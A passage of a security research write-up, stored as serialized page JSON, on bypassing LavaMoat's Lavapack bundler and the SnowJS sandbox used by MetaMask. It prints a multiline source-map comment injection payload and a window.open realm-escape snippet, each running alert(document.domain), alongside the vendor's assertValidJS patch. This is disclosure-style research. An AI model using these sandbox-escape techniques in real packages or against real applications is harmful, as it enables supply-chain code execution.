data.\n",{"type":20,"tag":315,"props":47169,"children":47170},{"class":317,"line":374},[47171,47175,47181,47186,47191,47196,47200,47205,47210,47215,47219,47223,47228,47233,47238,47243,47247,47251,47255,47260,47264,47269,47274,47279,47284,47288,47292,47296,47300,47304,47308,47312,47316,47321,47326,47330,47335,47340,47344,47348,47352,47356,47361,47365,47369,47373,47378],{"type":20,"tag":315,"props":47172,"children":47173},{"style":525},[47174],{"type":26,"value":731},{"type":20,"tag":315,"props":47176,"children":47178},{"style":47177},"--shiki-default:#D16969",[47179],{"type":26,"value":47180}," /",{"type":20,"tag":315,"props":47182,"children":47183},{"style":345},[47184],{"type":26,"value":47185},"^",{"type":20,"tag":315,"props":47187,"children":47188},{"style":47177},[47189],{"type":26,"value":47190},"\\s",{"type":20,"tag":315,"props":47192,"children":47193},{"style":46624},[47194],{"type":26,"value":47195},"*?\\/",{"type":20,"tag":315,"props":47197,"children":47198},{"style":2652},[47199],{"type":26,"value":2117},{"type":20,"tag":315,"props":47201,"children":47202},{"style":46624},[47203],{"type":26,"value":47204},"\\/\\*",{"type":20,"tag":315,"props":47206,"children":47207},{"style":2652},[47208],{"type":26,"value":47209},"][",{"type":20,"tag":315,"props":47211,"children":47212},{"style":47177},[47213],{"type":26,"value":47214},"@#",{"type":20,"tag":315,"props":47216,"children":47217},{"style":2652},[47218],{"type":26,"value":13812},{"type":20,"tag":315,"props":47220,"children":47221},{"style":47177},[47222],{"type":26,"value":47190},{"type":20,"tag":315,"props":47224,"children":47225},{"style":46624},[47226],{"type":26,"value":47227},"+?",{"type":20,"tag":315,"props":47229,"children":47230},{"style":47177},[47231],{"type":26,"value":47232},"sourceMappingURL=data:",{"type":20,"tag":315,"props":47234,"children":47235},{"style":2652},[47236],{"type":26,"value":47237},"(((?:",{"type":20,"tag":315,"props":47239,"children":47240},{"style":47177},[47241],{"type":26,"value":47242},"application",{"type":20,"tag":315,"props":47244,"children":47245},{"style":345},[47246],{"type":26,"value":8816},{"type":20,"tag":315,"props":47248,"children":47249},{"style":47177},[47250],{"type":26,"value":26},{"type":20,"tag":315,"props":47252,"children":47253},{"style":2652},[47254],{"type":26,"value":1509},{"type":20,"tag":315,"props":47256,"children":47257},{"style":46624},[47258],{"type":26,"value":47259},"\\/",{"type":20,"tag":315,"props":47261,"children":47262},{"style":47177},[47263],{"type":26,"value":32412},{"type":20,"tag":315,"props":47265,"children":47266},{"style":2652},[47267],{"type":26,"value":47268},")(?:",{"type":20,"tag":315,"props":47270,"children":47271},{"style":47177},[47272],{"type":26,"value":47273},";charset=",{"type":20,"tag":315,"props":47275,"children":47276},{"style":2652},[47277],{"type":26,"value":47278},"([^",{"type":20,"tag":315,"props":47280,"children":47281},{"style":47177},[47282],{"type":26,"value":47283},";,",{"type":20,"tag":315,"props":47285,"children":47286},{"style":2652},[47287],{"type":26,"value":13812},{"type":20,"tag":315,"props":47289,"children":47290},{"style":46624},[47291],{"type":26,"value":47227},{"type":20,"tag":315,"props":47293,"children":47294},{"style":2652},[47295],{"type":26,"value":1509},{"type":20,"tag":315,"props":47297,"children":47298},{"style":46624},[47299],{"type":26,"value":1537},{"type":20,"tag":315,"props":47301,"children":47302},{"style":2652},[47303],{"type":26,"value":1509},{"type":20,"tag":315,"props":47305,"children":47306},{"style":46624},[47307],{"type":26,"value":1537},{"type":20,"tag":315,"props":47309,"children":47310},{"style":2652},[47311],{"type":26,"value":1509},{"type":20,"tag":315,"props":47313,"children":47314},{"style":46624},[47315],{"type":26,"value":1537},{"type":20,"tag":315,"props":47317,"children":47318},{"style":2652},[47319],{"type":26,"value":47320},"(?:",{"type":20,"tag":315,"props":47322,"children":47323},{"style":47177},[47324],{"type":26,"value":47325},";",{"type":20,"tag":315,"props":47327,"children":47328},{"style":2652},[47329],{"type":26,"value":1049},{"type":20,"tag":315,"props":47331,"children":47332},{"style":47177},[47333],{"type":26,"value":47334},"base64",{"type":20,"tag":315,"props":47336,"children":47337},{"style":2652},[47338],{"type":26,"value":47339},"))",{"type":20,"tag":315,"props":47341,"children":47342},{"style":46624},[47343],{"type":26,"value":1537},{"type":20,"tag":315,"props":47345,"children":47346},{"style":47177},[47347],{"type":26,"value":2518},{"type":20,"tag":315,"props":47349,"children":47350},{"style":2652},[47351],{"type":26,"value":1049},{"type":20,"tag":315,"props":47353,"children":47354},{"style":47177},[47355],{"type":26,"value":61},{"type":20,"tag":315,"props":47357,"children":47358},{"style":46624},[47359],{"type":26,"value":47360},"*?",{"type":20,"tag":315,"props":47362,"children":47363},{"style":2652},[47364],{"type":26,"value":1509},{"type":20,"tag":315,"props":47366,"children":47367},{"style":345},[47368],{"type":26,"value":8688},{"type":20,"tag":315,"props":47370,"children":47371},{"style":47177},[47372],{"type":26,"value":786},{"type":20,"tag":315,"props":47374,"children":47375},{"style":541},[47376],{"type":26,"value":47377},"mg",{"type":20,"tag":315,"props":47379,"children":47380},{"style":328},[47381],{"type":26,"value":1405},{"type":20,"tag":315,"props":47383,"children":47384},{"class":317,"line":383},[47385],{"type":20,"tag":315,"props":47386,"children":47387},{"style":328},[47388],{"type":26,"value":4265},{"type":20,"tag":315,"props":47390,"children":47391},{"class":317,"line":407},[47392],{"type":20,"tag":315,"props":47393,"children":47394},{"style":328},[47395],{"type":26,"value":33753},{"type":20,"tag":315,"props":47397,"children":47398},{"class":317,"line":421},[47399],{"type":20,"tag":315,"props":47400,"children":47401},{"emptyLinePlaceholder":15},[47402],{"type":26,"value":427},{"type":20,"tag":315,"props":47404,"children":47405},{"class":317,"line":430},[47406,47410,47414,47418,47422,47426,47430,47434],{"type":20,"tag":315,"props":47407,"children":47408},{"style":322},[47409],{"type":26,"value":36302},{"type":20,"tag":315,"props":47411,"children":47412},{"style":328},[47413],{"type":26,"value":61},{"type":20,"tag":315,"props":47415,"children":47416},{"style":345},[47417],{"type":26,"value":47021},{"type":20,"tag":315,"props":47419,"children":47420},{"style":334},[47421],{"type":26,"value":1395},{"type":20,"tag":315,"props":47423,"children":47424},{"style":541},[47425],{"type":26,"value":36630},{"type":20,"tag":315,"props":47427,"children":47428},{"style":328},[47429],{"type":26,"value":463},{"type":20,"tag":315,"props":47431,"children":47432},{"style":635},[47433],{"type":26,"value":31083},{"type":20,"tag":315,"props":47435,"children":47436},{"style":328},[47437],{"type":26,"value":549},{"type":20,"tag":315,"props":47439,"children":47440},{"class":317,"line":453},[47441,47445,47449,47453,47458,47462,47466,47470,47475,47479,47484],{"type":20,"tag":315,"props":47442,"children":47443},{"style":525},[47444],{"type":26,"value":37615},{"type":20,"tag":315,"props":47446,"children":47447},{"style":635},[47448],{"type":26,"value":46612},{"type":20,"tag":315,"props":47450,"children":47451},{"style":328},[47452],{"type":26,"value":61},{"type":20,"tag":315,"props":47454,"children":47455},{"style":345},[47456],{"type":26,"value":47457},"replace",{"type":20,"tag":315,"props":47459,"children":47460},{"style":328},[47461],{"type":26,"value":1049},{"type":20,"tag":315,"props":47463,"children":47464},{"style":322},[47465],{"type":26,"value":36302},{"type":20,"tag":315,"props":47467,"children":47468},{"style":328},[47469],{"type":26,"value":61},{"type":20,"tag":315,"props":47471,"children":47472},{"style":635},[47473],{"type":26,"value":47474},"commentRegex",{"type":20,"tag":315,"props":47476,"children":47477},{"style":328},[47478],{"type":26,"value":44},{"type":20,"tag":315,"props":47480,"children":47481},{"style":2652},[47482],{"type":26,"value":47483},"''",{"type":20,"tag":315,"props":47485,"children":47486},{"style":328},[47487],{"type":26,"value":2214},{"type":20,"tag":315,"props":47489,"children":47490},{"class":317,"line":486},[47491],{"type":20,"tag":315,"props":47492,"children":47493},{"style":328},[47494],{"type":26,"value":14979},{"type":20,"tag":29,"props":47496,"children":47497},{},[47498,47500,47506],{"type":26,"value":47499},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":20,"tag":119,"props":47501,"children":47503},{"className":47502},[],[47504],{"type":26,"value":47505},"/*",{"type":26,"value":47507},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":20,"tag":219,"props":47509,"children":47511},{"id":47510},"the-bypass",[47512],{"type":26,"value":47513},"The Bypass",{"type":20,"tag":29,"props":47515,"children":47516},{},[47517,47519,47524,47526,47531],{"type":26,"value":47518},"By abusing the ",{"type":20,"tag":119,"props":47520,"children":47522},{"className":47521},[],[47523],{"type":26,"value":47021},{"type":26,"value":47525}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":20,"tag":119,"props":47527,"children":47529},{"className":47528},[],[47530],{"type":26,"value":46365},{"type":26,"value":47532}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":20,"tag":305,"props":47534,"children":47536},{"className":29779,"code":47535,"language":29781,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[47537],{"type":20,"tag":119,"props":47538,"children":47539},{"__ignoreMap":7},[47540,47548,47555,47563,47571,47579,47587,47595,47603,47610,47618],{"type":20,"tag":315,"props":47541,"children":47542},{"class":317,"line":318},[47543],{"type":20,"tag":315,"props":47544,"children":47545},{"style":1071},[47546],{"type":26,"value":47547},"/*# sourceMappingURL=data:,{}\n",{"type":20,"tag":315,"props":47549,"children":47550},{"class":317,"line":356},[47551],{"type":20,"tag":315,"props":47552,"children":47553},{"emptyLinePlaceholder":15},[47554],{"type":26,"value":427},{"type":20,"tag":315,"props":47556,"children":47557},{"class":317,"line":365},[47558],{"type":20,"tag":315,"props":47559,"children":47560},{"style":1071},[47561],{"type":26,"value":47562},"}}}}\n",{"type":20,"tag":315,"props":47564,"children":47565},{"class":317,"line":374},[47566],{"type":20,"tag":315,"props":47567,"children":47568},{"style":1071},[47569],{"type":26,"value":47570},"}, {\n",{"type":20,"tag":315,"props":47572,"children":47573},{"class":317,"line":383},[47574],{"type":20,"tag":315,"props":47575,"children":47576},{"style":1071},[47577],{"type":26,"value":47578}," package: \"xpl\",\n",{"type":20,"tag":315,"props":47580,"children":47581},{"class":317,"line":407},[47582],{"type":20,"tag":315,"props":47583,"children":47584},{"style":1071},[47585],{"type":26,"value":47586}," file: \"node_modules/xpl/index.js\",\n",{"type":20,"tag":315,"props":47588,"children":47589},{"class":317,"line":421},[47590],{"type":20,"tag":315,"props":47591,"children":47592},{"style":1071},[47593],{"type":26,"value":47594}," test: alert(document.domain),\n",{"type":20,"tag":315,"props":47596,"children":47597},{"class":317,"line":430},[47598],{"type":20,"tag":315,"props":47599,"children":47600},{"style":1071},[47601],{"type":26,"value":47602}," test1: () => { () => { () => { () => {\n",{"type":20,"tag":315,"props":47604,"children":47605},{"class":317,"line":453},[47606],{"type":20,"tag":315,"props":47607,"children":47608},{"emptyLinePlaceholder":15},[47609],{"type":26,"value":427},{"type":20,"tag":315,"props":47611,"children":47612},{"class":317,"line":486},[47613],{"type":20,"tag":315,"props":47614,"children":47615},{"style":1071},[47616],{"type":26,"value":47617},"/*\n",{"type":20,"tag":315,"props":47619,"children":47620},{"class":317,"line":499},[47621],{"type":20,"tag":315,"props":47622,"children":47623},{"style":1071},[47624],{"type":26,"value":47625},"*/\n",{"type":20,"tag":29,"props":47627,"children":47628},{},[47629],{"type":26,"value":47630},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":20,"tag":219,"props":47632,"children":47634},{"id":47633},"lavapack-patch",[47635],{"type":26,"value":47636},"Lavapack Patch",{"type":20,"tag":29,"props":47638,"children":47639},{},[47640,47642,47648],{"type":26,"value":47641},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":20,"tag":119,"props":47643,"children":47645},{"className":47644},[],[47646],{"type":26,"value":47647},"assertValidJS",{"type":26,"value":47649},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":20,"tag":29,"props":47651,"children":47652},{},[47653,47655,47662],{"type":26,"value":47654},"The patch was introduced in commit ",{"type":20,"tag":35,"props":47656,"children":47659},{"href":47657,"rel":47658},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[39],[47660],{"type":26,"value":47661},"9c38cd4",{"type":26,"value":61},{"type":20,"tag":305,"props":47664,"children":47666},{"className":38777,"code":47665,"language":38779,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[47667],{"type":20,"tag":119,"props":47668,"children":47669},{"__ignoreMap":7},[47670,47678,47686,47694,47702,47710,47718,47726,47733,47741],{"type":20,"tag":315,"props":47671,"children":47672},{"class":317,"line":318},[47673],{"type":20,"tag":315,"props":47674,"children":47675},{"style":765},[47676],{"type":26,"value":47677},"+ function assertValidJS(code) {\n",{"type":20,"tag":315,"props":47679,"children":47680},{"class":317,"line":356},[47681],{"type":20,"tag":315,"props":47682,"children":47683},{"style":765},[47684],{"type":26,"value":47685},"+ try {\n",{"type":20,"tag":315,"props":47687,"children":47688},{"class":317,"line":365},[47689],{"type":20,"tag":315,"props":47690,"children":47691},{"style":765},[47692],{"type":26,"value":47693},"+ new Function(code)\n",{"type":20,"tag":315,"props":47695,"children":47696},{"class":317,"line":374},[47697],{"type":20,"tag":315,"props":47698,"children":47699},{"style":765},[47700],{"type":26,"value":47701},"+ } catch (err) {\n",{"type":20,"tag":315,"props":47703,"children":47704},{"class":317,"line":383},[47705],{"type":20,"tag":315,"props":47706,"children":47707},{"style":765},[47708],{"type":26,"value":47709},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":20,"tag":315,"props":47711,"children":47712},{"class":317,"line":407},[47713],{"type":20,"tag":315,"props":47714,"children":47715},{"style":765},[47716],{"type":26,"value":47717},"+ }\n",{"type":20,"tag":315,"props":47719,"children":47720},{"class":317,"line":421},[47721],{"type":20,"tag":315,"props":47722,"children":47723},{"style":765},[47724],{"type":26,"value":47725},"+ }\n",{"type":20,"tag":315,"props":47727,"children":47728},{"class":317,"line":430},[47729],{"type":20,"tag":315,"props":47730,"children":47731},{"emptyLinePlaceholder":15},[47732],{"type":26,"value":427},{"type":20,"tag":315,"props":47734,"children":47735},{"class":317,"line":453},[47736],{"type":20,"tag":315,"props":47737,"children":47738},{"style":765},[47739],{"type":26,"value":47740},"+ // additional layer of syntax checking independent of browserify\n",{"type":20,"tag":315,"props":47742,"children":47743},{"class":317,"line":486},[47744],{"type":20,"tag":315,"props":47745,"children":47746},{"style":765},[47747],{"type":26,"value":47748},"+ assertValidJS(sourceMeta.code)\n",{"type":20,"tag":21,"props":47750,"children":47752},{"id":47751},"hacking-js-realms",[47753],{"type":26,"value":47754},"Hacking JS Realms",{"type":20,"tag":29,"props":47756,"children":47757},{},[47758,47760,47765],{"type":26,"value":47759},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":20,"tag":119,"props":47761,"children":47763},{"className":47762},[],[47764],{"type":26,"value":35833},{"type":26,"value":47766}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":20,"tag":305,"props":47768,"children":47770},{"className":29779,"code":47769,"language":29781,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[47771],{"type":20,"tag":119,"props":47772,"children":47773},{"__ignoreMap":7},[47774,47816],{"type":20,"tag":315,"props":47775,"children":47776},{"class":317,"line":318},[47777,47781,47786,47790,47794,47798,47803,47807,47812],{"type":20,"tag":315,"props":47778,"children":47779},{"style":541},[47780],{"type":26,"value":8054},{"type":20,"tag":315,"props":47782,"children":47783},{"style":635},[47784],{"type":26,"value":47785}," w",{"type":20,"tag":315,"props":47787,"children":47788},{"style":334},[47789],{"type":26,"value":1395},{"type":20,"tag":315,"props":47791,"children":47792},{"style":635},[47793],{"type":26,"value":29823},{"type":20,"tag":315,"props":47795,"children":47796},{"style":328},[47797],{"type":26,"value":61},{"type":20,"tag":315,"props":47799,"children":47800},{"style":345},[47801],{"type":26,"value":47802},"open",{"type":20,"tag":315,"props":47804,"children":47805},{"style":328},[47806],{"type":26,"value":1049},{"type":20,"tag":315,"props":47808,"children":47809},{"style":2652},[47810],{"type":26,"value":47811},"'/non_existent'",{"type":20,"tag":315,"props":47813,"children":47814},{"style":328},[47815],{"type":26,"value":2214},{"type":20,"tag":315,"props":47817,"children":47818},{"class":317,"line":356},[47819,47824,47828,47832,47836,47840,47844,47848],{"type":20,"tag":315,"props":47820,"children":47821},{"style":635},[47822],{"type":26,"value":47823},"w",{"type":20,"tag":315,"props":47825,"children":47826},{"style":328},[47827],{"type":26,"value":61},{"type":20,"tag":315,"props":47829,"children":47830},{"style":345},[47831],{"type":26,"value":31111},{"type":20,"tag":315,"props":47833,"children":47834},{"style":328},[47835],{"type":26,"value":1049},{"type":20,"tag":315,"props":47837,"children":47838},{"style":635},[47839],{"type":26,"value":31121},{"type":20,"tag":315,"props":47841,"children":47842},{"style":328},[47843],{"type":26,"value":61},{"type":20,"tag":315,"props":47845,"children":47846},{"style":635},[47847],{"type":26,"value":31131},{"type":20,"tag":315,"props":47849,"children":47850},{"style":328},[47851],{"type":26,"value":380},{"type":20,"tag":29,"props":47853,"children":47854},{},[47855,47857,47862],{"type":26,"value":47856},"This opens a new window with a new JS Realm (another ",{"type":20,"tag":119,"props":47858,"children":47860},{"className":47859},[],[47861],{"type":26,"value":35833},{"type":26,"value":47863}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":20,"tag":29,"props":47865,"children":47866},{},[47867,47869,47876],{"type":26,"value":47868},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":20,"tag":35,"props":47870,"children":47873},{"href":47871,"rel":47872},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[39],[47874],{"type":26,"value":47875},"Metamask implementation",{"type":26,"value":1509},{"type":20,"tag":219,"props":47878,"children":47880},{"id":47879},"snowjs-attack-surface",[47881],{"type":26,"value":47882},"SnowJS Attack Surface",{"type":20,"tag":29,"props":47884,"children":47885},{},[47886],{"type":26,"value":47887},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":20,"tag":29,"props":47889,"children":47890},{},[47891,47893,47900],{"type":26,"value":47892},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":20,"tag":35,"props":47894,"children":47897},{"href":47895,"rel":47896},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[39],[47898],{"type":26,"value":47899},"hooked inserters",{"type":26,"value":47901}," functions:",{"type":20,"tag":305,"props":47903,"children":47905},{"className":29779,"code":47904,"language":29781,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[47906],{"type":20,"tag":119,"props":47907,"children":47908},{"__ignoreMap":7},[47909,47929,47950,47989,48043,48082,48181,48201,48222],{"type":20,"tag":315,"props":47910,"children":47911},{"class":317,"line":318},[47912,47916,47921,47925],{"type":20,"tag":315,"props":47913,"children":47914},{"style":541},[47915],{"type":26,"value":8054},{"type":20,"tag":315,"props":47917,"children":47918},{"style":635},[47919],{"type":26,"value":47920}," map",{"type":20,"tag":315,"props":47922,"children":47923},{"style":334},[47924],{"type":26,"value":1395},{"type":20,"tag":315,"props":47926,"children":47927},{"style":328},[47928],{"type":26,"value":1092},{"type":20,"tag":315,"props":47930,"children":47931},{"class":317,"line":356},[47932,47937,47941,47946],{"type":20,"tag":315,"props":47933,"children":47934},{"style":635},[47935],{"type":26,"value":47936}," Range:",{"type":20,"tag":315,"props":47938,"children":47939},{"style":328},[47940],{"type":26,"value":21437},{"type":20,"tag":315,"props":47942,"children":47943},{"style":2652},[47944],{"type":26,"value":47945},"'insertNode'",{"type":20,"tag":315,"props":47947,"children":47948},{"style":328},[47949],{"type":26,"value":12664},{"type":20,"tag":315,"props":47951,"children":47952},{"class":317,"line":365},[47953,47958,47962,47967,47971,47976,47980,47985],{"type":20,"tag":315,"props":47954,"children":47955},{"style":635},[47956],{"type":26,"value":47957}," DocumentFragment:",{"type":20,"tag":315,"props":47959,"children":47960},{"style":328},[47961],{"type":26,"value":21437},{"type":20,"tag":315,"props":47963,"children":47964},{"style":2652},[47965],{"type":26,"value":47966},"'replaceChildren'",{"type":20,"tag":315,"props":47968,"children":47969},{"style":328},[47970],{"type":26,"value":44},{"type":20,"tag":315,"props":47972,"children":47973},{"style":2652},[47974],{"type":26,"value":47975},"'append'",{"type":20,"tag":315,"props":47977,"children":47978},{"style":328},[47979],{"type":26,"value":44},{"type":20,"tag":315,"props":47981,"children":47982},{"style":2652},[47983],{"type":26,"value":47984},"'prepend'",{"type":20,"tag":315,"props":47986,"children":47987},{"style":328},[47988],{"type":26,"value":12664},{"type":20,"tag":315,"props":47990,"children":47991},{"class":317,"line":374},[47992,47997,48001,48005,48009,48013,48017,48021,48025,48030,48034,48039],{"type":20,"tag":315,"props":47993,"children":47994},{"style":635},[47995],{"type":26,"value":47996}," Document:",{"type":20,"tag":315,"props":47998,"children":47999},{"style":328},[48000],{"type":26,"value":21437},{"type":20,"tag":315,"props":48002,"children":48003},{"style":2652},[48004],{"type":26,"value":47966},{"type":20,"tag":315,"props":48006,"children":48007},{"style":328},[48008],{"type":26,"value":44},{"type":20,"tag":315,"props":48010,"children":48011},{"style":2652},[48012],{"type":26,"value":47975},{"type":20,"tag":315,"props":48014,"children":48015},{"style":328},[48016],{"type":26,"value":44},{"type":20,"tag":315,"props":48018,"children":48019},{"style":2652},[48020],{"type":26,"value":47984},{"type":20,"tag":315,"props":48022,"children":48023},{"style":328},[48024],{"type":26,"value":44},{"type":20,"tag":315,"props":48026,"children":48027},{"style":2652},[48028],{"type":26,"value":48029},"'write'",{"type":20,"tag":315,"props":48031,"children":48032},{"style":328},[48033],{"type":26,"value":44},{"type":20,"tag":315,"props":48035,"children":48036},{"style":2652},[48037],{"type":26,"value":48038},"'writeln'",{"type":20,"tag":315,"props":48040,"children":48041},{"style":328},[48042],{"type":26,"value":12664},{"type":20,"tag":315,"props":48044,"children":48045},{"class":317,"line":383},[48046,48051,48055,48060,48064,48069,48073,48078],{"type":20,"tag":315,"props":48047,"children":48048},{"style":635},[48049],{"type":26,"value":48050}," Node:",{"type":20,"tag":315,"props":48052,"children":48053},{"style":328},[48054],{"type":26,"value":21437},{"type":20,"tag":315,"props":48056,"children":48057},{"style":2652},[48058],{"type":26,"value":48059},"'appendChild'",{"type":20,"tag":315,"props":48061,"children":48062},{"style":328},[48063],{"type":26,"value":44},{"type":20,"tag":315,"props":48065,"children":48066},{"style":2652},[48067],{"type":26,"value":48068},"'insertBefore'",{"type":20,"tag":315,"props":48070,"children":48071},{"style":328},[48072],{"type":26,"value":44},{"type":20,"tag":315,"props":48074,"children":48075},{"style":2652},[48076],{"type":26,"value":48077},"'replaceChild'",{"type":20,"tag":315,"props":48079,"children":48080},{"style":328},[48081],{"type":26,"value":12664},{"type":20,"tag":315,"props":48083,"children":48084},{"class":317,"line":407},[48085,48090,48094,48099,48103,48108,48112,48117,48121,48126,48130,48135,48139,48143,48147,48152,48156,48160,48164,48169,48173,48177],{"type":20,"tag":315,"props":48086,"children":48087},{"style":635},[48088],{"type":26,"value":48089}," Element:",{"type":20,"tag":315,"props":48091,"children":48092},{"style":328},[48093],{"type":26,"value":21437},{"type":20,"tag":315,"props":48095,"children":48096},{"style":2652},[48097],{"type":26,"value":48098},"'innerHTML'",{"type":20,"tag":315,"props":48100,"children":48101},{"style":328},[48102],{"type":26,"value":44},{"type":20,"tag":315,"props":48104,"children":48105},{"style":2652},[48106],{"type":26,"value":48107},"'outerHTML'",{"type":20,"tag":315,"props":48109,"children":48110},{"style":328},[48111],{"type":26,"value":44},{"type":20,"tag":315,"props":48113,"children":48114},{"style":2652},[48115],{"type":26,"value":48116},"'insertAdjacentHTML'",{"type":20,"tag":315,"props":48118,"children":48119},{"style":328},[48120],{"type":26,"value":44},{"type":20,"tag":315,"props":48122,"children":48123},{"style":2652},[48124],{"type":26,"value":48125},"'replaceWith'",{"type":20,"tag":315,"props":48127,"children":48128},{"style":328},[48129],{"type":26,"value":44},{"type":20,"tag":315,"props":48131,"children":48132},{"style":2652},[48133],{"type":26,"value":48134},"'insertAdjacentElement'",{"type":20,"tag":315,"props":48136,"children":48137},{"style":328},[48138],{"type":26,"value":44},{"type":20,"tag":315,"props":48140,"children":48141},{"style":2652},[48142],{"type":26,"value":47975},{"type":20,"tag":315,"props":48144,"children":48145},{"style":328},[48146],{"type":26,"value":44},{"type":20,"tag":315,"props":48148,"children":48149},{"style":2652},[48150],{"type":26,"value":48151},"'before'",{"type":20,"tag":315,"props":48153,"children":48154},{"style":328},[48155],{"type":26,"value":44},{"type":20,"tag":315,"props":48157,"children":48158},{"style":2652},[48159],{"type":26,"value":47984},{"type":20,"tag":315,"props":48161,"children":48162},{"style":328},[48163],{"type":26,"value":44},{"type":20,"tag":315,"props":48165,"children":48166},{"style":2652},[48167],{"type":26,"value":48168},"'after'",{"type":20,"tag":315,"props":48170,"children":48171},{"style":328},[48172],{"type":26,"value":44},{"type":20,"tag":315,"props":48174,"children":48175},{"style":2652},[48176],{"type":26,"value":47966},{"type":20,"tag":315,"props":48178,"children":48179},{"style":328},[48180],{"type":26,"value":12664},{"type":20,"tag":315,"props":48182,"children":48183},{"class":317,"line":421},[48184,48189,48193,48197],{"type":20,"tag":315,"props":48185,"children":48186},{"style":635},[48187],{"type":26,"value":48188}," ShadowRoot:",{"type":20,"tag":315,"props":48190,"children":48191},{"style":328},[48192],{"type":26,"value":21437},{"type":20,"tag":315,"props":48194,"children":48195},{"style":2652},[48196],{"type":26,"value":48098},{"type":20,"tag":315,"props":48198,"children":48199},{"style":328},[48200],{"type":26,"value":12664},{"type":20,"tag":315,"props":48202,"children":48203},{"class":317,"line":430},[48204,48209,48213,48218],{"type":20,"tag":315,"props":48205,"children":48206},{"style":635},[48207],{"type":26,"value":48208}," HTMLIFrameElement:",{"type":20,"tag":315,"props":48210,"children":48211},{"style":328},[48212],{"type":26,"value":21437},{"type":20,"tag":315,"props":48214,"children":48215},{"style":2652},[48216],{"type":26,"value":48217},"'srcdoc'",{"type":20,"tag":315,"props":48219,"children":48220},{"style":328},[48221],{"type":26,"value":12664},{"type":20,"tag":315,"props":48223,"children":48224},{"class":317,"line":453},[48225],{"type":20,"tag":315,"props":48226,"children":48227},{"style":328},[48228],{"type":26,"value":14979},{"type":20,"tag":29,"props":48230,"children":48231},{},[48232],{"type":26,"value":48233},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":20,"tag":29,"props":48235,"children":48236},{},[48237],{"type":26,"value":48238},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":20,"tag":219,"props":48240,"children":48242},{"id":48241},"bypassing-snowjs",[48243],{"type":26,"value":48244},"Bypassing SnowJS",{"type":20,"tag":29,"props":48246,"children":48247},{},[48248,48250,48261,48263,48269],{"type":26,"value":48249},"The deprecated ",{"type":20,"tag":35,"props":48251,"children":48254},{"href":48252,"rel":48253},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[39],[48255],{"type":20,"tag":119,"props":48256,"children":48258},{"className":48257},[],[48259],{"type":26,"value":48260},"document.execCommand",{"type":26,"value":48262}," function is used to execute commands inside a ",{"type":20,"tag":119,"props":48264,"children":48266},{"className":48265},[],[48267],{"type":26,"value":48268},"contenteditable",{"type":26,"value":48270}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":20,"tag":305,"props":48272,"children":48275},{"className":48273,"code":48274,"language":30798,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[48276],{"type":20,"tag":119,"props":48277,"children":48278},{"__ignoreMap":7},[48279],{"type":20,"tag":315,"props":48280,"children":48281},{"class":317,"line":318},[48282,48286,48290,48294,48298,48303,48308,48313,48318,48322],{"type":20,"tag":315,"props":48283,"children":48284},{"style":30791},[48285],{"type":26,"value":4199},{"type":20,"tag":315,"props":48287,"children":48288},{"style":541},[48289],{"type":26,"value":29762},{"type":20,"tag":315,"props":48291,"children":48292},{"style":635},[48293],{"type":26,"value":30870},{"type":20,"tag":315,"props":48295,"children":48296},{"style":328},[48297],{"type":26,"value":337},{"type":20,"tag":315,"props":48299,"children":48300},{"style":2652},[48301],{"type":26,"value":48302},"test",{"type":20,"tag":315,"props":48304,"children":48305},{"style":635},[48306],{"type":26,"value":48307}," contenteditable",{"type":20,"tag":315,"props":48309,"children":48310},{"style":635},[48311],{"type":26,"value":48312}," 